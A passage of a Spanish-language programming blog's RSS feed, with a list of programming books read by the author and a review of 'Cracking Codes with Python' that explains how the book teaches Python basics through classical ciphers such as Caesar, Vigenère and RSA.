src=&#34;https://coffeebytes.dev/en/pages/books-i-read-and-reviews/images/eloquent-javascript.jpg&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Eloquent JavaScript: A Modern Introduction to Programming de Marijin Haverbeke&#34; width=&#34;350&#34; height=&#34;462&#34;&gt;&lt;figcaption&gt;&#xA;      &lt;p&gt;Eloquent JavaScript: A Modern Introduction to Programming de Marijin Haverbeke&lt;/p&gt;&#xA;    &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/pages/books-i-read-and-reviews/images/the-definitive-guide-to-django.jpg&#34;&gt;&#xA;&lt;figure&gt;&lt;img src=&#34;https://coffeebytes.dev/en/pages/books-i-read-and-reviews/images/the-definitive-guide-to-django.jpg&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Definitive Guide to Django: Web Development Done Right de Adrian Holovaty y Jacob Kaplan Moss (Traducción de Saul Garcia M.)&#34; width=&#34;350&#34; height=&#34;463&#34;&gt;&lt;figcaption&gt;&#xA;      &lt;p&gt;Definitive Guide to Django: Web Development Done Right de Adrian Holovaty y Jacob Kaplan Moss (Traducción de Saul Garcia M.)&lt;/p&gt;&#xA;    &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/pages/books-i-read-and-reviews/images/django-by-example.jpg&#34;&gt;&#xA;&lt;figure&gt;&lt;img src=&#34;https://coffeebytes.dev/en/pages/books-i-read-and-reviews/images/django-by-example.jpg&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Django by Example de Antonio Melé&#34; width=&#34;350&#34; height=&#34;432&#34;&gt;&lt;figcaption&gt;&#xA;      &lt;p&gt;Django by Example de Antonio Melé&lt;/p&gt;&#xA;    &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/pages/books-i-read-and-reviews/images/building-apis-with-django-and-drf.jpg&#34;&gt;&#xA;&lt;figure&gt;&lt;img src=&#34;https://coffeebytes.dev/en/pages/books-i-read-and-reviews/images/building-apis-with-django-and-drf.jpg&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Building APIS With Django and Django Rest Framework de Agiliq&#34; width=&#34;350&#34; height=&#34;559&#34;&gt;&lt;figcaption&gt;&#xA;      &lt;p&gt;Building APIS With Django and Django Rest Framework de Agiliq&lt;/p&gt;&#xA;    &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/pages/books-i-read-and-reviews/images/clean-code.jpg&#34;&gt;&#xA;&lt;figure&gt;&lt;img src=&#34;https://coffeebytes.dev/en/pages/books-i-read-and-reviews/images/clean-code.jpg&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Clean Code de Robert C. Marin&#34; width=&#34;350&#34; height=&#34;463&#34;&gt;&lt;figcaption&gt;&#xA;      &lt;p&gt;Clean Code de Robert C. Marin&lt;/p&gt;&#xA;    &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/pages/books-i-read-and-reviews/images/django-for-professionals.jpg&#34;&gt;&#xA;&lt;figure&gt;&lt;img src=&#34;https://coffeebytes.dev/en/pages/books-i-read-and-reviews/images/django-for-professionals.jpg&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Django for Professionals de William S. Vincent&#34; width=&#34;350&#34; height=&#34;453&#34;&gt;&lt;figcaption&gt;&#xA;      &lt;p&gt;Django for Professionals de William S. Vincent&lt;/p&gt;&#xA;    &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/pages/books-i-read-and-reviews/images/the-algorithm-design-manual.jpg&#34;&gt;&#xA;&lt;figure&gt;&lt;img src=&#34;https://coffeebytes.dev/en/pages/books-i-read-and-reviews/images/the-algorithm-design-manual.jpg&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;The algorithm design manual de Steven S. SKiena&#34; width=&#34;350&#34; height=&#34;503&#34;&gt;&lt;figcaption&gt;&#xA;      &lt;p&gt;The algorithm design manual de Steven S. SKiena&lt;/p&gt;&#xA;    &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/pages/books-i-read-and-reviews/images/javascript-the-good-parts.jpg&#34;&gt;&#xA;&lt;figure&gt;&lt;img src=&#34;https://coffeebytes.dev/en/pages/books-i-read-and-reviews/images/javascript-the-good-parts.jpg&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;JavaScript the good parts de Douglas CrockFord&#34; width=&#34;350&#34; height=&#34;459&#34;&gt;&lt;figcaption&gt;&#xA;      &lt;p&gt;JavaScript the good parts de Douglas CrockFord&lt;/p&gt;&#xA;    &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/pages/books-i-read-and-reviews/images/python-pocket-reference.jpg&#34;&gt;&#xA;&lt;figure&gt;&lt;img src=&#34;https://coffeebytes.dev/en/pages/books-i-read-and-reviews/images/python-pocket-reference.jpg&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Python Pocket Reference de Mark Lutz&#34; width=&#34;350&#34; height=&#34;575&#34;&gt;&lt;figcaption&gt;&#xA;      &lt;p&gt;Python Pocket Reference de Mark Lutz&lt;/p&gt;&#xA;    &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/pages/books-i-read-and-reviews/images/cpp-pocket-reference.jpg&#34;&gt;&#xA;&lt;figure&gt;&lt;img src=&#34;https://coffeebytes.dev/en/pages/books-i-read-and-reviews/images/cpp-pocket-reference.jpg&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;C&amp;#43;&amp;#43; Pocker Reference de Kyle Loudon&#34; width=&#34;350&#34; height=&#34;621&#34;&gt;&lt;figcaption&gt;&#xA;      &lt;p&gt;C++ Pocker Reference de Kyle Loudon&lt;/p&gt;&#xA;    &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/pages/books-i-read-and-reviews/images/learning-python.jpg&#34;&gt;&#xA;&lt;figure&gt;&lt;img src=&#34;https://coffeebytes.dev/en/pages/books-i-read-and-reviews/images/learning-python.jpg&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Learning Python de Mark Lutz&#34; width=&#34;350&#34; height=&#34;459&#34;&gt;&lt;figcaption&gt;&#xA;      &lt;p&gt;Learning Python de Mark Lutz&lt;/p&gt;&#xA;    &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/pages/books-i-read-and-reviews/images/python-web-development.jpg&#34;&gt;&#xA;&lt;figure&gt;&lt;img src=&#34;https://coffeebytes.dev/en/pages/books-i-read-and-reviews/images/python-web-development.jpg&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Python Web Development with Django de Jeff Forcier, Paul Bissex y Wesley Chun&#34; width=&#34;350&#34; height=&#34;467&#34;&gt;&lt;figcaption&gt;&#xA;      &lt;p&gt;Python Web Development with Django de Jeff Forcier, Paul Bissex y Wesley Chun&lt;/p&gt;&#xA;    &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/pages/books-i-read-and-reviews/images/c-programming.jpg&#34;&gt;&#xA;&lt;figure&gt;&lt;img src=&#34;https://coffeebytes.dev/en/pages/books-i-read-and-reviews/images/c-programming.jpg&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;C Programming Absolute Beginner&amp;#39;s Guide de Stephani Danelle Perry&#34; width=&#34;350&#34; height=&#34;454&#34;&gt;&lt;figcaption&gt;&#xA;      &lt;p&gt;C Programming Absolute Beginner&amp;rsquo;s Guide de Stephani Danelle Perry&lt;/p&gt;&#xA;    &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/pages/books-i-read-and-reviews/images/the-c-programming-language.jpg&#34;&gt;&#xA;&lt;figure&gt;&lt;img src=&#34;https://coffeebytes.dev/en/pages/books-i-read-and-reviews/images/the-c-programming-language.jpg&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;C Programming Language de Brian W. Kernighan y Dennis M. Ritchie&#34; width=&#34;350&#34; height=&#34;462&#34;&gt;&lt;figcaption&gt;&#xA;      &lt;p&gt;C Programming Language de Brian W. Kernighan y Dennis M. Ritchie&lt;/p&gt;&#xA;    &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/pages/books-i-read-and-reviews/images/code.jpg&#34;&gt;&#xA;&lt;figure&gt;&lt;img src=&#34;https://coffeebytes.dev/en/pages/books-i-read-and-reviews/images/code.jpg&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Code: the hidden language of computer hardware and software de Charles Petzold&#34; width=&#34;350&#34; height=&#34;454&#34;&gt;&lt;figcaption&gt;&#xA;      &lt;p&gt;Code: the hidden language of computer hardware and software de Charles Petzold&lt;/p&gt;&#xA;    &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/pages/books-i-read-and-reviews/images/aprenda-cpp-basico.jpg&#34;&gt;&#xA;&lt;figure&gt;&lt;img src=&#34;https://coffeebytes.dev/en/pages/books-i-read-and-reviews/images/aprenda-cpp-basico.jpg&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Aprenda C&amp;#43;&amp;#43; Básico de Paul Bustamante, Iker Aguinaga, Miguel Aybar, Luis Olaizola y Iñigo Lazacano&#34; width=&#34;350&#34; height=&#34;494&#34;&gt;&lt;figcaption&gt;&#xA;      &lt;p&gt;Aprenda C++ Básico de Paul Bustamante, Iker Aguinaga, Miguel Aybar, Luis Olaizola y Iñigo Lazacano&lt;/p&gt;&#xA;    &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/pages/books-i-read-and-reviews/images/aprenda-cpp-avanzado.jpg&#34;&gt;&#xA;&lt;figure&gt;&lt;img src=&#34;https://coffeebytes.dev/en/pages/books-i-read-and-reviews/images/aprenda-cpp-avanzado.jpg&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Aprenda C&amp;#43;&amp;#43; Avanzado de Paul Bustamante, Iker Aguinaga, Miguel Aybar, Luis Olaizola y Iñigo Lazacano&#34; width=&#34;350&#34; height=&#34;494&#34;&gt;&lt;figcaption&gt;&#xA;      &lt;p&gt;Aprenda C++ Avanzado de Paul Bustamante, Iker Aguinaga, Miguel Aybar, Luis Olaizola y Iñigo Lazacano&lt;/p&gt;&#xA;    &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;</content:encoded>
      <summary>&lt;p&gt;Esta es la lista de libros que he leído para aprender sobre desarrollo web y programación. Tengo reseñas de algunos disponibles en este blog y estoy constantemente actualizando esta lista.&lt;/p&gt;&#xA;&lt;h2 id=&#34;actualmente-estoy-leyendo&#34;&gt;Actualmente estoy leyendo:&lt;/h2&gt;&#xA;&lt;p&gt;&lt;a hx-boost=&#34;false&#34; href=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1762554573/coffee-bytes/system-design-interview-ii-book-cover-350_ygf5mc.jpg&#34; aria-label=&#34;System design Interview Part II&#34;&gt;&#xA;&#xA;&lt;figure&gt;&#xA;    &lt;img class=&#34;md-image&#34;   loading=&#34;lazy&#34; src=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1762554573/coffee-bytes/system-design-interview-ii-book-cover-350_ygf5mc.jpg&#34; alt=&#34;System design Interview Part II&#34;/&gt;&#xA;    &lt;figcaption&gt;System design Interview Part II&lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;h2 id=&#34;mi-lista-de-libros&#34;&gt;Mi lista de libros&lt;/h2&gt;&#xA;&lt;p&gt;Los libros no están en ningún orden en particular:&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/pages/books-i-read-and-reviews/images/the-rust-programming-language-book.jpg&#34;&gt;&#xA;&lt;figure&gt;&lt;img src=&#34;https://coffeebytes.dev/en/pages/books-i-read-and-reviews/images/the-rust-programming-language-book.jpg&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;The rust programming language book&#34; width=&#34;350&#34; height=&#34;463&#34;&gt;&lt;figcaption&gt;&#xA;      &lt;p&gt;The rust programming language book&lt;/p&gt;</summary>
    </item>
    
    <item>
      <title>Aprender Python con criptografia reseña de Cracking Codes with Python</title>
      <link>https://coffeebytes.dev/es/python/aprender-python-con-criptografia-resena-de-cracking-codes-with-python/</link>
      <pubDate>Thu, 16 Jul 2020 00:00:00 +0000</pubDate>
      <guid>https://coffeebytes.dev/es/python/aprender-python-con-criptografia-resena-de-cracking-codes-with-python/</guid>
      
      <category>python</category>
      
      
      
      
      
      <content:encoded>&lt;p&gt;¿A quién no han intentado convencer de invertir en un marketing multi nivel de Bitcoin? A mi sí, pero ojalá a ti nunca te pase. Gracias a Bitcoin, la criptografía está en boca de todos últimamente, sobre todo en el discurso de vendedores sin escrúpulos, pero la criptografía no es reciente, tiene siglos utilizándose; la programación y el código solo la volvieron mucho más rápida y eficiente. La primera vez que leí sobre criptografía fue en la novela Criptonomicón, donde ya se barajaba la idea de las criptomonedas desde mucho antes de la aparición de Bitcoin. Hoy vengo a hablarte de Cracking Codes with Python, &lt;strong&gt;un libro que usa la criptografía para explicar Python&lt;/strong&gt;. Este libro te enseña Python básico desde cero mientras das un repaso de la criptografía a través de la historia, con todo y Alan Turing incluido.&lt;/p&gt;&#xA;&lt;p&gt;A propósito, si quieres aprender más de este lenguaje de programación &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/python/mis-libros-favoritos-para-aprender-a-programar-en-python/&#34;&gt;aquí está mi lista de recursos favoritos para aprender Python&lt;/a&gt;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;Si no tienes ni idea de que es la criptografía puedes tomar esta definición bastante simple: la criptografía es la práctica de crear y entender códigos que mantienen la información en secreto. Muy al estilo de las películas &amp;ldquo;Una mente brillante&amp;rdquo;, &amp;ldquo;El código enigma&amp;rdquo; (The imitation game) o del ya mencionado Criptonomicón.&lt;/p&gt;&#xA;&lt;h2 id=&#34;aprender-python-con-criptografia&#34;&gt;Aprender python con criptografía&lt;/h2&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;  &#xA;  &#xA;    &#xA;    &#xA;    &#xA;      &#xA;    &#xA;  &#xA;&#xA;  &#xA;    &lt;script&gt;&#xA;      (function() {&#xA;        var matchedAdsData = &#34;[{\&#34;description\&#34;:\&#34;Mi recomendación de libro si te gusta Python es este pequeño libro. Python tricks es una recopilación de trucos (dah, obvio) y partes útiles, pero desconocidas, del lenguaje. Yo pensaba que sabía Python hasta que leí este libro, dale una oportunidad si no me crees.\&#34;,\&#34;imageSrc\&#34;:\&#34;https://coffeebytes.dev/en/pages/books-i-read-and-reviews/images/python-tricks-the-book.jpg\&#34;,\&#34;link\&#34;:\&#34;https://amzn.to/4gLHlCB\&#34;,\&#34;linkText\&#34;:\&#34;Consulta el precio de los trucos de Python y cómpralo en Amazon\&#34;,\&#34;title\&#34;:\&#34;Si quieres pulir tus conocimientos de Python\&#34;}]&#34;;&#xA;        &#xA;        function renderAds() {&#xA;          var rightPanel = document.getElementById(&#39;right-panel&#39;);&#xA;          if (!rightPanel) return;&#xA;&#xA;          &#xA;          var existingContainer = document.getElementById(&#39;ads-panels-container&#39;);&#xA;          if (existingContainer) {&#xA;            existingContainer.remove();&#xA;          }&#xA;&#xA;          var matchedAds = JSON.parse(matchedAdsData);&#xA;          &#xA;          if (!matchedAds || !Array.isArray(matchedAds) || matchedAds.length === 0) return;&#xA;          &#xA;          var container = document.createElement(&#39;div&#39;);&#xA;          container.id = &#39;ads-panels-container&#39;;&#xA;          container.className = &#39;ads-panels-sticky&#39;;&#xA;          rightPanel.appendChild(container);&#xA;          &#xA;          matchedAds.forEach(function(ad) {&#xA;            if (!ad || !ad.title) return;&#xA;            &#xA;            var panel = document.createElement(&#39;div&#39;);&#xA;            panel.className = &#39;ad-panel&#39;;&#xA;            panel.innerHTML = &#xA;              &#39;&lt;div class=&#34;ad-panel-content&#34;&gt;&#39; +&#xA;                &#39;&lt;img height=&#34;150px&#34; width=&#34;100px&#34; src=&#34;&#39; + ad.imageSrc + &#39;&#34; alt=&#34;&#39; + (ad.imageAlt || ad.title) + &#39;&#34; class=&#34;ad-book-image&#34; loading=&#34;lazy&#34; /&gt;&#39; +&#xA;                &#39;&lt;h4 class=&#34;ad-title&#34;&gt;&lt;strong&gt;&#39; + ad.title + &#39;&lt;/strong&gt;&lt;/h4&gt;&#39; +&#xA;                (ad.description ? &#39;&lt;p class=&#34;ad-description&#34;&gt;&#39; + ad.description + &#39;&lt;/p&gt;&#39; : &#39;&#39;) +&#xA;                (ad.link ? &#39;&lt;a href=&#34;&#39; + ad.link + &#39;&#34; target=&#34;_blank&#34; rel=&#34;sponsored nofollow&#34; class=&#34;ad-link-button&#34;&gt;&#39; + (ad.linkText || &#39;Learn More&#39;) + &#39;&lt;/a&gt;&#39; : &#39;&#39;) +&#xA;              &#39;&lt;/div&gt;&#39;;&#xA;            &#xA;            container.appendChild(panel);&#xA;          });&#xA;        }&#xA;&#xA;        &#xA;        document.addEventListener(&#39;DOMContentLoaded&#39;, renderAds);&#xA;        &#xA;        &#xA;        document.addEventListener(&#39;htmx:historyRestore&#39;, renderAds);&#xA;        document.addEventListener(&#39;htmx:afterSettle&#39;, renderAds);&#xA;      })();&#xA;    &lt;/script&gt;&#xA;  &#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .ads-panels-sticky {&#xA;    position: sticky;&#xA;    top: 100px;&#xA;    display: flex;&#xA;    flex-direction: column;&#xA;    gap: 16px;&#xA;    z-index: 10;&#xA;  }&#xA;&#xA;  .ad-panel {&#xA;    background: transparent;&#xA;    border-radius: 8px;&#xA;    padding: 16px 36px;&#xA;  }&#xA;&#xA;  .ad-panel:hover {&#xA;    transform: none;&#xA;  }&#xA;&#xA;  .ad-panel-content {&#xA;    display: flex;&#xA;    flex-direction: column;&#xA;    align-items: center;&#xA;    text-align: justify;&#xA;  }&#xA;&#xA;  .ad-book-image {&#xA;    width: 100px;&#xA;    height: auto;&#xA;    border-radius: 6px;&#xA;    margin-bottom: 10px;&#xA;    object-fit: cover;&#xA;  }&#xA;&#xA;  .ad-title {&#xA;    font-size: 0.9rem;&#xA;    font-weight: 600;&#xA;    margin: 0 0 6px 0;&#xA;    color: var(--secondary-text);&#xA;    line-height: 1.3;&#xA;  }&#xA;&#xA;  .ad-description {&#xA;    font-size: 0.75rem;&#xA;    color: var(--secondary-text);&#xA;    margin: 0 0 10px 0;&#xA;    line-height: 1.4;&#xA;    display: -webkit-box;&#xA;    -webkit-line-clamp: 2;&#xA;    -webkit-box-orient: vertical;&#xA;    overflow: hidden;&#xA;  }&#xA;&#xA;  .ad-link-button {&#xA;    display: inline-block;&#xA;    padding: 8px 12px;&#xA;    background: #ffa41c;&#xA;    color: #111;&#xA;    text-decoration: none;&#xA;    border-radius: 4px;&#xA;    font-size: 0.8rem;&#xA;    font-weight: 500;&#xA;    transition: background 0.2s ease, opacity 0.2s ease;&#xA;    width: 100%;&#xA;    box-sizing: border-box;&#xA;    text-align: center;&#xA;  }&#xA;&#xA;  .ad-link-button:hover {&#xA;    background: #f08804;&#xA;    opacity: 1;&#xA;  }&#xA;&#xA;  @media (max-width: 768px) {&#xA;    .ads-panels-sticky,&#xA;    .ad-panel,&#xA;    #ads-panels-container {&#xA;      display: none;&#xA;      visibility: hidden;&#xA;      opacity: 0;&#xA;      z-index:1;&#xA;    }&#xA;  }&#xA;&#xA;  @media (max-width: 1024px) {&#xA;    .ads-panels-sticky {&#xA;      position: static;&#xA;      flex-direction: row;&#xA;      flex-wrap: wrap;&#xA;      justify-content: center;&#xA;    }&#xA;&#xA;    .ad-panel {&#xA;      max-width: 200px;&#xA;      flex: 0 0 auto;&#xA;    }&#xA;  }&#xA;&#xA;  @media (max-width: 600px) {&#xA;    .ads-panels-sticky {&#xA;      flex-direction: column;&#xA;    }&#xA;&#xA;    .ad-panel {&#xA;      max-width: 100%;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8672022193&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8672022193&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .google-ads-container-8672022193{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;    .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;p&gt;¿Códigos con información secreta? ¿Cómo mensajes secretos? Sí, mensajes que si alguien leyera no podría saber que significan. Mira estos ejemplos, ¿ya sabes cual es el mensaje que oculta cada uno?&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# Cifrado César&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Ujsiyru bq gqbqriq kfcqku ud bfj sfcudkqiyfj jy gltyjku tujsyviqi ub kuñkf&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;El de arriba es muy sencillo de descifrar. Este es más complicado aún pero pan comido para cualquier computadora moderna. Cada texto se creó usando un diferente método de cifrado.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# Cifrado Vigenère&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Mbza btx cj i yomncm oom gfzr ihggtvitnvl gnth kpr vkymqbal iem&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt; Culn kpr qxs zv gnx wfuzkgnj&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;En el libro del que vengo a platicarte hoy el autor te explica diferentes métodos de cifrado que han sido usados a lo largo de la historia, tales como el cifrado César, Vigenère, transposición, transformación afín, cuadernos de un solo uso o el famoso y actualmente usado cifrado RSA. El autor te mostrará como usar Python para crear mensajes cifrados y, una vez creados, te enseñará a descifrarlos por fuerza bruta, análisis léxico y otros métodos más sofisticados.&lt;/p&gt;&#xA;&lt;p&gt;Cracking Codes with Python parte del supuesto de que no sabes absolutamente nada de Python, usará la criptografía para enseñarte lo básico sobre cadenas de texto, listas, diccionarios, funciones, conjuntos, así como sus respectivos métodos. Esto hace que la introducción al lenguaje sea mucho más amena, pues no es un repaso a la documentación, sino una aplicación completamente práctica. Sin embargo, debido a que el libro se centra únicamente en la parte criptográfica, no verás nada interfaces gráficas, web scraping, ni creación de API, ni librerías externas de Python (salvo &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://pypi.org/project/pyperclip/&#34; rel=&#34;noopener nofollow&#34; target=&#34;_blank&#34;&gt;pyperclip&lt;/a&gt;&#xA;), ni ninguna otra de las aplicaciones modernas del lenguaje.&lt;/p&gt;&#xA;&lt;p&gt;Este libro se encuentra completamente gratis para que lo leas completo, para leerlo &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;http://inventwithpython.com/cracking/&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;entra en la página web oficial del autor.&lt;/a&gt;&#xA; o puedes comprarlo en Amazon en el siguiente enlace: &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://amzn.to/4n8EZk9&#34; rel=&#34;noopener nofollow&#34; target=&#34;_blank&#34;&gt;Cracking codes with Python&lt;/a&gt;&#xA;&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-1124666671&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;1124666671&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .google-ads-container-1124666671{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;        .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;h2 id=&#34;mi-opinion-de-cracking-codes-with-python&#34;&gt;Mi opinión de Cracking Codes with Python&lt;/h2&gt;&#xA;&lt;p&gt;En mi opinión Cracking Codes with Python es un material bueno si se cumple alguno de los siguientes supuestos:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Quieres aprender lo básico de Python&lt;/li&gt;&#xA;&lt;li&gt;Deseas conocer la historia de la criptografía&lt;/li&gt;&#xA;&lt;li&gt;Eres un entusiasta de la historia y la tecnología&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Por otro lado, independientemente de lo anterior, te &lt;strong&gt;recomiendo leer el &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;http://inventwithpython.com/cracking/chapter23.html&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;capítulo del cifrado RSA&lt;/a&gt;&#xA;&lt;/strong&gt; pues considero que el funcionamiento de llaves públicas y privadas es algo que toda persona que se dedique al desarrollo web debería conocer.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-5272667386&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;5272667386&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = 